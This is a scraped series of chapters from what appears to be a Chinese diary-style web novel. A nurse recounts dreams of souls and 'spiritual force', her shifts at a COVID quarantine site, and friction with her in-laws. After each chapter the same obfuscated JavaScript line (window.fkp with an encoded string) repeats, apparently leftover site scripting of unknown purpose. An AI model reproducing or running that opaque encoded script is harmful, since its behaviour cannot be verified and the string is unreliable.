    再后面就是抖腿都了很久，感觉到了一些黑色的精神力一样的感觉。重庆给我的感觉那么可怕吗？后来就去搜了重庆的疫情。好多啊。再后面就趴着眯了一会儿，梦里面的内容是一个圆圆的球体灵魂，好多黑色的精神力围着他，他好像在看着我。后面我就醒了。有点子累。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第298章

    梦境，梦境里面是一些人，然后她们送了一套衣服给我穿，因为我很胖，所以她们送的衣服我穿上去，那叫一个丑。然后非常的怪异。然后就梦见了我同事她在那里笑着看着我。然后下一个场景，那个场景是一对夫妻的婚礼，婚礼上大家都给他们祝福，梦里的我花了五十块钱买了一个手镯送给她。刚写下英文的wish，就差不多有点子醒了的样子。然后就下一个场景，那个场景里看到了一个很奇怪的一个很漂亮的男士，他说我脸皮可真厚的，然后他说他要给我剥皮。梦里他画了一个圈圈，然后他在圈圈的外面点了什么？我就愣愣的看着他。然后醒了。
    他的意思我猜，那是因为梦里面给了那对夫妻手镯，难道是梦境里的自己不小心和别人的换了。因为梦境还有一个人的声音是说她的手镯五千美元。我的才五十。可能出了什么意外？搞不懂。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第299章

    午休梦境，梦到了一个灰色的灵魂不知道在讲什么。没有听懂，然后我感觉有苍蝇，然后苍蝇吵得我没睡好。不过我只是扒桌子上休息的，可能没有睡好也不一定。
    昨日午休梦境，梦里面是一个红色的男人，他很大，然后是他周围一大堆麂子在奔走。他脸上的表情感觉很难受，然后美丽的红色内心充满了绝望和悲伤的感觉，他的灵魂内心好像难受的在笑，那种笑容充斥着白色，那种白色好像一个小小的毒一样在吞噬他的内在的感觉。另一个场景是我家里来了一只麂子，然后梦里把它放回山里了。
    鹿据说是代表权力，代表纯洁浪漫的爱情。梅花鹿是比较好的象征。那么麂子难道是代表不美好的权力还有不美好的爱情？
    不知道什么意思。让我想到了我娘家一个家里人在山上捡到了一只被雷劈死的麂子，然后吃了它的肉，然后两夫妻他们都得了癌症，挂了。反正很难受的感觉。我记得那个大人他还会种土豆，他种的土豆结了很多，这是一件很开心的事。没想到就没了。
    今天下了雨，我们那边的路路灯还没有好，然后我骑车就摔到了，撞到了花圃上，路上正在放学的男孩子，两三个人就帮我把车扶起来了，人没有受伤，我的车的刹车断了。然后就去修，修了我四十五块钱。修车的时候我见识到了我的把手的样子那个比较贵一点，居然还需要加油，因为有油泵。然后师傅还算可以修好了。买了一个两块钱的面包，好饿。然后回家吃饭等我老公回家等了很久，饿得实在不行了，然后就先吃了一些果子，然后实在顶不住，就再吃饭刚好吃饭他就回来了。后面发现自己没有做核酸，两个人一起去我们医院做核酸。回家了好累。
    路上感觉有黑色的精神力包裹住自己的感觉。很不喜欢那种感觉。但是顺其自然吧！我也没有办法。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第300章

    梦到了一个地方，那个梦里是一个山洞，山洞的另一面是我不认识的人。梦里的我牙上塞了很多肉，然后我看着我在弄牙。梦里出现了一个人，说我又被什么操控了。他们好不容易把我的线砍掉的。
    然后下一个场景是一个泉水。要放什么东西，我放了。后面再一个空间，出现了一个病人，他的闹钟响了，我问他是不是我的桃花来了。梦里的我像一个小孩子。他是一个老人家，让我想到了君生我未生我生君已老。这句话。然后那个病人，直接倒了不起，说没有。是我药水需要加了。
    然后下一个梦境，是一个很宽的地方，梦里的我在跑来跑去，梦里说有的人一出生就在顶点。我没有去听。
    然后下一个场景，梦见了一个地方，那里的南瓜居然在树下，然后我就路过看了看，那个老婆婆给了我蒜子。我把蒜子给回了她。
    然后下一个场景是一个人的家里，她的家看起来很简陋。但是她过的很快乐，她很开心的在煮饭，她的丈夫在拥抱她。我就在旁边看着她。看着她的欢声笑语。
    然后下一个场景，梦到了菩萨，但是是老师，是黑色的菩萨，我很害怕她，然后出现了很多老师他们都是黑色的，梦里的我她在笑着和我说话，然后她和我说了什么，梦里的我问她为什么我流产了。？不过现实里的我没有。可能是别人的梦？还是另一个世界的我？梦里她和我说你看一个场景，那个场景里宝宝踩了很高的凳子然后在弄飞机。她笑了笑，掉了。但是我们不住那里。然后我差不多就醒了。
    后面的梦里，梦见了一个女孩子的声音，她说叫我不要打扰她了，她过的很好。不要担心。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第301章

    昨日之梦，忘了。感觉一个很大的脑壳在讲啥，不过我并不是很能听得懂。
    昨天比较忙。我是下午下班的时候院长和我说需要去隔离点，马上收拾东西集合。然后就回家了收拾东西，我家的晚饭比较晚，然后我也忘记了给妈妈打电话，后面就吃了点包子。收拾了东西就走了。
    后面我们等了一下子。其他人，然后师傅又去工作了，然后又等了师傅。还有弄到了衣服。然后我们就到了。后面就给我们培训。看我们穿脱防护服的情况。然后就是听说来了又来了22个医务人员。来了几车隔离人员。
    考虑我明天上早班，然后护士长就让我准备物资，再去休息，她就带了好多人去准备开新的一栋楼。然后我就准备了几箱物资。到了晚上十一点半多考虑洗澡之类的，就回去了，发现两个房间的热水器都不是很完美，可能我不会用，没有接好，然后就用热水壶烧水洗澡，到了零点四十才睡，后面第二天早上六点半开会。然后听说了护士长他们昨晚的，凌晨三点才休息，然后b栋，新的那栋，通了个宵。
    后面我们上早班。我们几乎都是新人，根本没有在这里上过班，然后有一个老人。我们就分配好了采核酸。我们都没有吃早点。这里工作过的人说她们都不吃早点，没时间吃。然后我们就采核酸，两个人一起，她会帮我准备咽拭子试管手套。就更快。然后我们就一层楼就换一个人。那样子就更不会心累吧！然后我们每层楼，都数了数，她数的，我没。然后发现其他两个人不见了，后面找了一下才知道那个更有经验的同事她晕倒了。后面我们就接着采核酸，采物表。工作量更多了，本来我们还需要做消杀工作的。保洁员帮我们做了，早餐保洁员也帮我们送掉了。然后等我们做好这些，就十点多了已经快十一点了，然后发现数数对不上，然后护士长就召集了大家一起帮忙数，后面还是对不上，就护士长和搭班的同事数，我们几个就去送午餐，帮中班的做。我本来很不情愿的，因为我很想吃早餐的。已经快十一点了，然后和护士长讲我是早班的，护士长说我也是上早班的。然后我就闭嘴了。后面就去送餐。分了两批。我们从十四楼送，他们从二楼送。然后等我们送完，发现还有两份饭。可能哪一个没有拿到，想等下去再看一下，后面发现来了好多需要隔离的人员。然后保洁大叔还需要教我们怎么处理垃圾，因为我们两个新人，后面就很忙了，我就还好平时肉储存的有点子多，撑到那个点，只是看不清，因为带了的东西好多雾，因为饿倒没有什么，只是雾气让我有点子看不到。后面我们两个就出去了。看了一下时间过了一点钟。
    后面就去拿午餐，本来想洗澡之后再吃东西，原则上是这样子，因为要先洗头洗澡，然后还要在另一个房间洗，但是让我们无语的事，我们的衣服都在这个房间，洗澡在另一个房间，我们不是要先去那个干净的房间拿衣服，在去洗澡的房间洗澡，这样子不是还是不对。
    还没有想好，同事说她洗好澡再吃东西，后面的话我也洗澡了。洗衣服，然后琢磨我的热水器，问了长。长说她们来的时候热水器也是这个样子的，他们都是自己接的，然后他们一开始来这里连续工作了三十六个小时，才休息。，！和她们对比一下，我还是还好的。
    后面那个热水器有一个管子有点子坏，不知道怎么修，真希望修好来。不然过几天听说好冷。
    我昨晚找了好几个房间都是热水器有问题的，这个是我看着还好的，还是热水器有问题。
    我最近需要做的事，需要把我的早餐的面包向点长那里问到来，如果没有早餐吃，就吃面包。然后熟悉工作的流程，打包垃圾之类的。师傅讲了一遍，不过我感觉我还是需要更抓紧一点。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第302章

    晚上十点多，告诉我们收到信息要去录信息。然后我们就去了，发现b栋已经录好了，到了那里我们还等了一下，因为电脑卡死了，等了几分钟电脑没有动，领导说叫了他们打印信息名单给我们很久了，还没有弄好。然后我就过另外一边了，有一个师傅正在安装电脑，后面就信息纸就来了，然后知道了一个消息，晕倒的老师说要送回去。她昨天晚上刚来，晚上忙了很晚，早上又没有吃早餐，然后时间比较久，她就要离开了。她告诉我们，以前人民医院管理这里的时候，是有早餐的，都会叫每个人吃到早餐来去上班，还有面包牛奶，泡面，我们这次过来这种物资没有。不过以前人民医院也有护士晕倒过。知道了这个消息，不知道我什么心情。我也不知道领导会不会安抚她。我觉得需要耶。因为这里那么多人，然后她就晕倒了，她就很失落灰溜溜的回去上班的地方。她以前又在这里工作过，又不是新手。心情复杂。
    领导也挺忙的，几乎从早到晚。然后我才知道和我上班的人是管理我们的，后面她下午四点又去上班了。很晚才出来。几乎上了个晚班。可能又有什么急事。之前管理我们的老师去b栋了，她也好忙，打了好多电话没接，后面说去隔离区了。然后晚上十点多又和我们一起录信息。醉了醉了。
    我的颈脖子淋巴结肿大。下午刚有的。不知道啥原因？
    希望领导会安抚她的情绪吧！人心齐，这是人和，事才办的好。
    我也感觉到了很多奇怪的思想能量。它说我不要去考副主任，不要那么刻苦。其实我没有什么太多的想法。这只是一种阿q精神。出现了坏的事，也总要想点好的地方，这是没办法的事。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第303章

    梦境，梦到了一个黑色的女人，她问我是不是在谈恋爱。不知道她为什么这么问？然后后面梦到了一个男的灵魂，他好像待人家脑壳后面笑眯眯的感觉。不晓得怎么形容这个状态。
    我可能又到了需要看一打小黄文的时候。醉了醉了。
    我带了十八本纸质书。本来希望自己能够汲取书里面的知识，傲游在知识的海洋。我发现它们只能放在我的枕头边和我同床共枕。
    可能一开始是会比较难。就像我之前学做菜一样，学的可辛苦了，电饭煲都坏了，后来修好了又继续用，锅也是坏了好多个。但是后面做菜更好吃了，想起来就会感觉很开心。把这件事搞定就会特别的幸福的感觉，一开始都是这个鬼样子。万事开头难。
    让我突然想到了一个信息，就是网上说有一个人学习方法很奇特，只需要把书当枕头睡，他就能学到书里面的内容，然后有一段时间我也把我的书当枕头睡，知识我不知道我有没有学到，但是颈脖子确实会比较难受。
    昨天发现隔离区有两个房间有电脑其他的没有。然后还是台式机，还以为他们有特殊待遇，后面夜里那两个大学生在群里说是自己带的电脑，都是带的台式机。而且装行李箱带的。真的大开眼界。不过台式机确实比笔记本更划算。因为台式机性价比更高，只是它不方便携带，不过不知道他们怎么把电脑好好放在行李箱的，那么大一个主机。屏幕也不小，还带了不少吃的。牛。
    还有的隔离人员，真的是快要离开了，把房间打扫得真的锃亮。东西摆放的整整齐齐。他们自己拍了图片上来。果然优秀的人到哪里都是优秀的。无论什么环境。都让人肃然起敬。
    真希望核酸采集的信息可以用电脑录。那样子不容易出错，也不耽误时间，昨晚好几个人一起录了一百多个人的今早采核酸的信息。要是app能够更好一点就好了，直接用电脑录，很快。算了电脑卡。
    但是我们那里师傅昨晚安装了一台，就是想知道有没有什么途径可以让这个速度更快。因为人力消耗确实很大。工作时间表不准的。实际工作时间比排班表更久，然后又有临时调动班次。能想办法省时省力就想办法省时省力，毕竟久了大家都会很疲惫的。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第304章

    我是不是有病，烦死了，心情很差，今天更慢。不顺利。
    梦境。梦境梦到了一个很大的一个男人的脑袋，他的脑子很大，很白。他好像吐了一口口水，然后他很疲惫的和我说，你都好懒。然后后面他吐口水的地方，有一个黑色的东西。也不知道是因为他吐口水消灭了那个黑色的东西还是干嘛？
    梦里出现了一个房子，我待在那个房子里，然后有一个手机，手机里有一个人通过了验证，加了她微信，然后她询问了我一些事情，后面她就删除了我的微信，我被她拉黑了。然后我也拉黑了她。然后下一个场景梦里的我说他讲的很懒是啥意思。是说病毒很懒，还是讲我们希望国泰民安，没有什么其它想法的意思？搞不懂。
    好困又好气。
    梦里的那个人我后面又+她信息，后面就变成了好多灰色的东西。
    然后这两天还有一种奇怪的意识，总在脑子里吵，说你想换了我。我也不知道她讲的什么。我自己的？别人的？还是我遇到了鬼？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第305章

    很想刷题，还有好几百道题没有刷完，昨天有一个题目才考了72分，主要是刚好在做题，然后刚好做稳了就要开会。后面就边听边随便做，就考的一般都是倒数，看人家全都是很高的分，后面发现会开完了。
    至于内容，我听的晕乎乎的，问了一点点，长她回答了，那个晕倒的护士，听说那个科的护士长打电话过来讲她了，搞得心情很复杂。然后我们有面包吃了，因为前面的时间指挥部发了很多面包牛奶之类的，很多箱结果都吃完了，所以到了我们这里新来的一批人员就没有了。领到了一小袋。上早班应该够吃。不过是今天下午领的。
    今天早班，我很早起来啃泡面，没有泡。想到那个领导说有一个医生住她隔壁，然后一天吃几顿泡面，后面把自己吃出肠梗阻的事，我没有办法很安心的啃下去。醉了醉了。
    但是还是需要准备好，万一哪天不够了，会哭死。
    今天早班上的很烂。第一就是没有拿到那么多的东西，试管还有咽拭子，我拿的是那个人员报的物资还有酒精，本来每一个楼梯那里需要放一小瓶酒精。然后消毒按键的，然后我拿进去了酒精发现没有按压泵，喷头。后面就去采核酸，大家都是新人，没有弄过的。没经验，然后我每一个人一双手套就浪费好多时间，但是按原则是是这样子做，但是这样子慢。根本达不到送检时间的要求。然后要是中间送一次，那么就容易乱。所以需要调整。老实说，可能是人员不够，但是很多地方都需要人，今天哪个县又需要抽调几十个人去支援，前段时间抽了人去支援其他地方，然后自己又一批人需要工作运转。所以我们人员其实按原则是不够的，但是没有那么多人，然后就是这个世界让人感觉痛苦的点了，书本上说的写的内容和实际生活现实世界出现的不一致。这很让人难受。没有办法表里如一。很难，对我来说。可能还是自己的原因，穿手套不够快。人家都能很快。也许是穿手套的时间够呢？算了不要多想，然后手消流程。手消流程需要多几步，每个动作至少五步，就这么下来时间就不够了，如果能够加快确实会更好一点，但是还是没办法。
    领导说如果待久了，可能希望能够换一批人上班，不然太久了容易造成离婚。日子没办法过。一个月换一批人。因为他们医院就是这样子，上一批就是和她换。所以还是有机会，就怕过年都在这里。
    这里的工作比较难。比我以前待的地方更难。我们以前待的也是高风险区，但是因为运气好，几乎十四天没有来病人，我班上，其他人的班有。然后也没有什么太重的病人，一开始我们还很紧张怕会有很危重的病人，然后没有，长胖了几斤，后面又去了一个地方，也很紧张。结果就在酒店待命待了一个星期。好吃好喝，又胖了几斤。因为运气太好了两次都是。没想到这里的会比较难，相对于其他地方来说，其实心里也有底，以前在高铁也工作过，想的到。隔离点挺难的。但是让我比较意外的是有的医务人员她们以前去过隔离点工作的，居然也是懵里懵懂的，因为工作模式不一样，搞消毒的就专门搞消毒，不会和其他的串在一起，也不清楚人家怎么安排的，反正我没经历过，其他的也是同事说她搞物资的，就专门搞物资。根本没有进里面待过，而这里的是几乎每个人都有可能会做消毒采核酸，送餐收垃圾的等各种事。而且需要每一批上班的人到了里面自己工作好，协调好。这挺锻炼人的，我觉得，至少社恐是不行的，得问。反正我是懵里懵懂，领导讲了一遍懵里懵懂，问这里工作过的老师讲了一遍懵里懵懂，后面再听别人问再懵里懵懂再听再懵里懵懂。很神奇的状态。从来没有碰到过这样子的状态。消杀的工作人员做事是需要跑起来的，而且很快，每一层消毒，然后收垃圾，昨天跟着老师做了一下，很容易出汗。还有人员需要带出去。先把解除隔离的人带出去，然后进房间消毒，被套还有垃圾是人家自己带下去，然后消完毒就下一个，然后下一个，下一个，我评价我们的工作语气不算很温柔，但是温柔的语气真的没有办法做好这个事。比较急。做好了之后，然后把重的送出去，消毒，消毒达到时间以后然后就是接其他人入。后面我没有参与，可能是人家认为够，就没有说好多人都不出去，我们都没有吃晚饭。。值班是我有点子看不懂，可能没有经历过，就是晚上万一来了需要隔离的人员，那么就需要给他们采核酸送检。如果那天来的人员超过了二十个，就叫下一个上值班的人和自己一起采。然后就是送检的事，反正没有经历过就是一头雾水。然后送检时间又分时间段，如果来一个你就采一个，那么需要消耗的防护服很多，如果你一直穿着防护服在里面，那么医务人员会受不了的。反正我还是没懂，问，明天一定要问。问明白来。也不知道人家会不会回答我。我怕问。
    没有去过这里工作的人，确实没有办法感同身受。以后要六点半进里面，所以也就是六点十分左右就要去工作区穿衣服，拿东西，那么早上就需要五点半左右就需要起床，洗漱啃面包。
    领导说不要讲没有人安排跟班，大家都是这样子过来的，而且我们这里又有人抽的去其他地方工作。所以也没有办法安排跟班之类的。大部分都不是有技术含量的东西很简单，复杂的就是如何动脑筋去安排工作。协调一起上班的人。还有调动积极性。这对我来说很难。怎么样才能开动脑筋思考一下。
    我认为难难在什么地方呢？我的语气不算很好，我认为，讲的多了怕别人会认为我对人家有意见，认为我在批评她，不讲的话工作上就会不顺。所以还是沟通的问题，需要语气轻柔一点，讲明白一点。但是我好像不是很坚定。很复杂的状态。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第306章

    突然想到。不知道为什么刚刚突然想到了上次和家里人一起吃饭的样子，然后老公的叔叔对我说他女儿嫁了一个离街上很远的地方，然后我感觉那个地方还好。然后就是他冷冰冰的看着我的眼神。那个面容不好看，感觉外面是白色的一圈，然后像一个倒挂的水滴一样的脸，然后后面是很黑的东西。反正那个饭我吃的不愉快，感觉一家人都不喜欢我的样子，但是他们全部都没有说我的名字，讲的是老公叔叔的女儿。
    然后我就想到了一个事。我们出嫁不久，老公叔叔就说他女儿可能要嫁了，那个时候大家都还不知道她有男朋友，她自己也没有说。其他人也不知道，我就听到老公叔叔嘀咕了一句，然后我就看了一下。也没有讲什么。不晓得他为什么又会在饭桌上讲那个事。
    嫁的远。其实我也嫁的远啊！我也不知道对方是否快乐。但是老公叔叔的女儿是说结婚不就是要嫁给甜甜的爱情吗？老公和我讲的，后来也没有说什么。
    就像老公的爷爷讲的，一开始比较贫穷，但是以后奋斗了会变好的。何况她的家庭其实还不错，比我的好，买的新房子就在县城很近，只是老家在乡下。我们的老家也在乡下。而且还没有买新房。她的家婆比较年轻，可能四十岁左右，比较会倒腾自己，看起来三十几的样子。工作能力强吧！一个月八千左右的工资，是服装厂工人。做衣服的，自己还会开车。她老公长的比较帅。是真的好看。我也不知道为什么会突然想到这个事。
    书上说长的好看的人容易是招蜂引蝶，有很多烂桃花，不好，书上也说长的不好看看起来一脸老实样的男的，其实也不好，因为他的老实相其实也是一种伪装，不好，所以既然都是不好的，为什么不找一个好看的呢？至少每天起床看到了顺眼也行，反正都是来气你的，找个好看的人，生气也许很快就过去了呢？其实也挺好的。
    这只是我片面的想法。
    不知道为什么突然感觉自己又像被某一个同事附体的感觉。为什么会又想到了她。她真的是我搞不懂人。难道日子过得不顺心吗？不晓得，不晓得她是不是不顺心。我又不是她的闺蜜。她的智商很高，感觉她一上身就感觉我的智商就来了，但是我没有那种清澈明亮的感觉，我还是比较喜欢自己本来的样子，但是不知道为什么那种精神力总感觉自己被人附体了，也有可能是量子纠缠，也有可能是因为我自己太虚弱了，被别人的意识入侵了。
    说我对她的印象吧！她长的还好看，然后行动能力很强，会化妆，技术还好。花了妆的样子很美，有一段时间没有化妆，给人的感觉就没有那种强烈的吸引力。好像有种所有的目光都围着自己的感觉。但是我没有什么太大的感觉。就看看。比较平常。老实说她没有让我嫉妒的感觉。所以还好，然后也没有太强烈的喜欢的感觉，所以也还好，就是别人都说你很好，但是我和你当同事，我为了好好生存也会随波浊流的说你很好，至于好在哪里就找一些优点之类的。反正要说优点肯定找的到，但是那种从心灵里面不为了你外在的优点啊什么的，就是那种你就站在那里，没有任何铠甲去武装自己，我就看着仍然会感觉你很好很好的那种人。就没有那种感觉。
    我也不知道这种要怎么修炼。因为在工作和生活里面，有的人你我就见一面素不相识，但是你就是天生想要对他善意，想要对他好，可能他上辈子积了很多德，这是我的理解，所以他给我的感觉就是他很不错。即使不认识就是会不由自主的心情也会变好。这就是别人的精神力。
    而我自己的，就是很欠揍的那种，所散发出来的，就是看一眼会感觉你这个人很差，多看两眼发现你这个人真差。不由自主的容易让别人对你发脾气，而且很容易吸引别人对你发脾气。可能这就是我的吸引力法则有问题。我有一段时间照了一下我的镜子，我发现我所展示出来的自己就是在吸引这样子的事。所以我还是需要多学习。
    可是我真的快学炸了，什么都要学，但是都没有学精。我想要学精，怎么样才能学精呢？
    好想看小说，昨天看了一个漫画。一对百合，一对耽美。一开始设定还不错后面的话我就没有耐心看了。跳着看，然后就不看了。我感觉好看的漫画少了，之前我看的漫画都很好看，不知道为什么会推送的东西会不合自己眼缘。难道算法出了问题。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第307章

    梦境。梦到了一个岛屿。那个岛屿里面好多人生孩子。生了孩子扔在一个人家的家里。那个人是一个博士。博士说他帮人养孩子好累。
    这些场景的时间不分先后。我忘记那个在前哪个在后。
    梦里面梦到了那个同事。然后梦里的我说我给她结婚的时候包了红包，但是我没有写名字，交给了她家婆，后面我给了请帖给她，我结婚了，她没有包回红包给我，也没有给人家发新婚快乐。我说我特别的担心她会不会有很多霉运。但是出错的原因又不在她那里，谁知道为什么我会那天忘记写名字。然后最近老是梦见她，就特别的害怕她会倒大霉。问能不能撤回，怕自己会不会有什么诅咒，不小心触动了。
    然后梦境的那一边，那里的人就反馈过去了。但是我也不知道怎么回事。
    然后下一个场景梦到了一个飞机，飞机上挂着两个男孩子，他们在讲解什么，没有听懂。梦里的我在思考他们为什么能挂在飞机上。手不累吗？后面下一个场景就是他们两个好像两个娃娃一样挂着然后他们自己下来了，可能那两个娃娃是他们挂飞机上的衣服吧！至于他们两个讲了什么真的是一点都没有听懂。然后下一个场景，那个地方的院子很好看，很宽广，然后房子很漂亮，稍微摆整齐一下就很漂亮。然后下一个场景就是还是那个教授啊博士什么的，他在电视上接受什么采访。说实在是好多年轻人不负责在他的菜园子里生孩子，他真的养不起，扔了又良心受不住道德的谴责。电视机里的他很难受。
    后面我醒了。
    早上的梦，梦见了一个男士他的灵魂在发黑，他说了什么，我没有听懂。梦里的我也就笑笑的看着他。然后就醒了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第308章

    突然想到了一个事，心情很不美妙。想到了我家里的电饭煲。
    老公的表姐到家里吃饭，她说那个电饭煲不好用，不好，怎么怎么子。讲了一堆。我当时没有讲话，因为这个不是我买的，我家公买的，老公弟弟挑的。我家婆说过那个电饭煲不好用，因为她不晓得按键。就算很简单，感觉她的智商也很高的感觉，但是家婆就是因为这个电饭煲被家公讲过，她就有点不开心。然后就说那个电饭煲不好用，其实和电饭煲没有什么关系。主要的关系就是家公讲家婆这个事让她不开心。我认为耶。我也不知道。499的价格，就是那种比较贵的，煮出来的饭粒粒分明，而且很有弹性的那种米饭。
    对于死穷鬼的家庭来说这其实算是一种奢饰品。我们配用的电饭煲其实就是那种一百来块的样子的那种。我感觉在我的认知里是这样子的。其实不是耶，想买就买，而且我们的老电饭煲都坏了，难道还不能买新的，而且这个又不是我选的，是老公弟弟选的。而且是家公买的，买了就买了呗。
    可是那个时候的感觉就是他表姐姐对我说。意思就是她以为那个电饭煲是我买的，说我买的电饭煲不好用的意思。我认为挺有针对性的感觉，她自己有钱，买衣服很贵，老公工资比较高，但是她来我们家，每次都说一些让我听了很烦躁，不开心的事，要么说那个人的媳妇会打麻将然后不带小孩子。那段时间我也没有怎么带小孩子，因为工作。但是就是听了很不爽，要么说那个人家里的媳妇啊不做事。怎么怎么不好。总之这个人过我们家里人就像狗嘴里吐不出象牙一样，每一句好的话。表面上她是在说人家的坏话，但是她看着我。知道吧！你说她这个人说这些话看着是在讲别人，但是又看着我来讲。我也不想对号入座，但是给我的感觉就是她好像在指桑骂槐。又没有明着讲。
    每次听完我都很生气。她讲的又是别人，我生什么气，对不对。她的表面的样子又很好看，看她的心里的样子也很好看。所以我也搞不懂她。
    那件事让我感觉很不爽，就像她的意思就是感觉在讲我买的东西不好。但是这又不是我买的。我家里很贵的东西又很多啊，上千的都有啊！为什么她要讲这个事？可能我家婆向她抱怨了我不折被子，不拖地，不做饭，不爱带小孩子。所以她就明着讲。然后爱买东西。她很不爽。
    我感觉耶。
    我终于知道为什么有的媳妇很讨厌自己家婆有女儿了。她都不是我家婆的女儿。我也不知道为什么会那么烦。我基本不和我家婆有孩子以外的事聊天，我也不知道和我家婆聊什么。她和我家公聊的东西我也听不懂。要么就是讲村子里那个人的事。反正就是这个样子，有的时候我会问两句，然后他们就是那种你不认识的回答。不认识就问啊，问到人家没有办法来。反正是你要说的。不融入也得融入。
    网上说家婆会让你感觉到自己在这个新家感觉自己是一个外人。好像这不是你的家，你老公是围着她转的。你的孩子是围着她转的。你好像就像一个生育机器一样，后面就是交钱让她养孩子。然后长大了孩子和你一点感情也没有。因为孩子都是她带大的。你因为工作的原因没有精力去培养感情。如果没有工作，她会让你深刻的体会到什么叫做家庭地位低下。反正母亲这个角色，真的很复杂。也可以这样子讲，如果很辛苦那么人或许活着就是过来吃苦的。不要太在意，太在意会苦死。
    我的话，我不知道结婚是什么，以前我们那边有人结婚，后面她就是回娘家抱怨很多东西。后面其他的女孩子她们结婚了以后也是这样子。回家就是抱怨很多鸡毛蒜皮的事情。然后给我的感受就是，结婚不好，有渣男。一方面你需要向外去寻找一个让你有家的感觉。
    小时候的场景里就是一直都感觉自己在家里q
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第309章

